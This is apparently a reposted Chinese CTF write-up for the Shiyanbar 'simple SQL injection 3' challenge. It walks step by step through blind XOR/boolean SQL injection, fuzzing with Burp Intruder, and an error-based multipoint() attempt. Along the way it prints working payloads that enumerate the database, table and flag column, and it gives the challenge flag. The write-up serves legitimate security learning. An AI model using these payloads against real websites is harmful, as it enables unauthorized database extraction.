實驗吧簡單的sql注入3


 

   今天早上起來發現有人評論說我沒更新實驗吧sql注入3,主要是因為前段時間都去做bugku去了

但是重做這道題發現以前的姿勢不行了,exp()報錯不再溢出,現在不能用這個姿勢,所以這里重新整理了一遍思路,這里也寫了我自己做題的過程並且也寫了我錯誤的思路等等。

 

實驗吧簡單的sql注入3:

連接:

http://ctf5.shiyanbar.com/web/index_3.php?id=1

 

方法一:

 

這道題和前兩道題的區別,這道題的回顯不像上兩道題在下面會回顯你輸入的東西,只會給你返回一個hello!

在上一題里面,我一直靠下面的回顯來判斷那些東西過濾,而且一次就繞過了過濾的東西(主要是因為我看了別人的writeup)

但是這道題沒有下面的回顯那我該咋整呢?

 

這里就會用到這兩天get到的一個新姿勢,異或注入。

異或注入的知識點並不難,直接看這邊博客你就會懂:https://blog.csdn.net/qq_37873738/article/details/88043659

 回到這一道題,這里我們先輸入一個單引號

 

 報錯,所以可以想到這里是字符類型的注入。ok,接下來用到異或注入的知識,當我們輸入   1'^(1)# 時 兩邊為真 結果為假 所以頁面應該是不會返回,

果然沒有返回,所以接下來嘗試  1'^(0)#  這個兩邊一假 結果為真 所以頁面應該有返回 hello 

接下來用  1'^(length('你要測試的字符')>0)#  來判斷那些字符被過濾了

 

首先我手動測試一下,1'^(length('')>0)#  這個語句應該是會返回的,因為 空字符的長度就等於0嘛,這里大於0肯定是假啊, 一真一假返回真,所以頁面應該會返回hello

 

果然是返回了hello,再測試一下1'^(length('and')>0)# 發現沒有回顯,也就是說and沒有過濾,接下來直接用fuzz跑一下那些過濾那些沒過濾。

結果發現這幾個是被過濾了的,上面的三個可用於基於報錯注入,下面兩個延時注入。

這個過濾對我們第一種方法並沒有什么影響,聰明的你肯定發現,這里只要更換()里的條件,並根據頁面的返回就可以直接猜出答案。

先用如下語句:1'^(length(database())=n)#

更換n的值,知道頁面不回顯,則說明括號里的條件是真

這里先手動改n的值爆數據庫的長度,只有n=4時頁面才不回回顯,說明數據庫長度為4

如下 當n=1,2,3時和當n=4時

 這是n=1,2,3的時候

這是n=4的時候

 

接下來就構造語句爆出庫名,表名,列明

這里一個一個的手工測試很麻煩的,所以可以選擇寫腳本,也可以選擇用burp來跑,我直接上burp

抓包,發送到 Intruder

爆數據庫名字的語句 1'^(ascii(substr(database(),m,1))=n)#

這里我們知道庫名長度為4 m就1-4的變化,直接手動把,后面n就直接1-127 因為ascii 大不了就1-127嘛 結果如下圖

/*  這里我想說,每次我用語句現在瀏覽器里面輸入,然后他會url編碼,然后我再抓包進行fuzzing測試,這樣才會出結果,如果直接再burp里面輸入的話,返回的所有長度都一樣*/

1'^(ascii(substr(database(),1,1))=119)#   ascii對應w 

1'^(ascii(substr(database(),2,1))=101)#   對應e

1'^(ascii(substr(database(),3,1))=98)#  對應 b

1'^(ascii(substr(database(),4,1))=49)#   對應1

 

就這樣,得到了數據庫名 web1

接下來就爆表名

先爆表數

1'^((select count(table_name) from information_schema.tables where table_schema=database())=n)#    當n=2時返回的長度都和其他的不一樣,所以這里得到表數為2

爆表的長度

1'^(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n)#     // 這里的length后面是兩個括號,如果只有一個括號的話會報錯,我也不知道為什么。。。。。。

這里長度為4

爆表明

1'^(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),m,1))=n)# 

道理和爆庫名一樣,只需修改m和n的值 ,這里爆出表明為 flag,由於第一題和第二題表名列名都是flag 這里猜測列名也是flag(主要是上一次用exp()報錯做出來過,所以這里知道哈哈哈)

爆行flag的長度  

1'^(length((select flag from flag))=n)# // 這里的length后面是兩個括號,如果只有一個括號的話會報錯,我也不知道為什么。。。。。。

這里長度為26

爆數據flag

1'^(ascii(substr((select flag from flag),m,1))=n)# 

這樣一個一個的測試即可拿出flag

flag{Y0u_@r3_50_dAmn_900d}

 

我是小白,個人知道的注入方法就四種:

1.union注入,這個再前面我寫了一篇

2.延時注入

3.報錯注入

4.基於布爾的注入

這道題表面上用的是抑或注入,實際上我所用的方法就是基於布爾

這兒推薦一個大神的博客,他沒有用到異或注入,就是直接用的布爾,原理差不多一樣的

https://blog.csdn.net/tc125/article/details/80302386

 

個人覺得異或注入更容易寫腳本,腳本隔兩天附上。。。。

 

 

方法二:

但是我始終覺得不爽,因為這道題的提示是報錯注入,但是我卻始終沒用到報錯溢出信息過,雖然之前我用exp()報錯做出了這道題,但是現在用這個不行了,所以我在網上又搜縮了一下報錯函數

推薦這個博客:https://blog.csdn.net/whatday/article/details/63683187

這里面有十個 有的被過濾了,沒過濾的我一個一個的試

沒想到還真的報了出來,multipoint()可以報出來

1' and multipoint((select * from(select * from(select databse())a)b))#

web1 報出了哈哈哈,接下來報各種的名字

但是,,,當我報表名時 1' and multipoint((select * from(select * from(select group_concat(table_name) from information_schema.tables)a)b))#

出現了這個

和exp()報錯出現的情況一模一樣。。失敗

 唉,害的我白高興一場

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM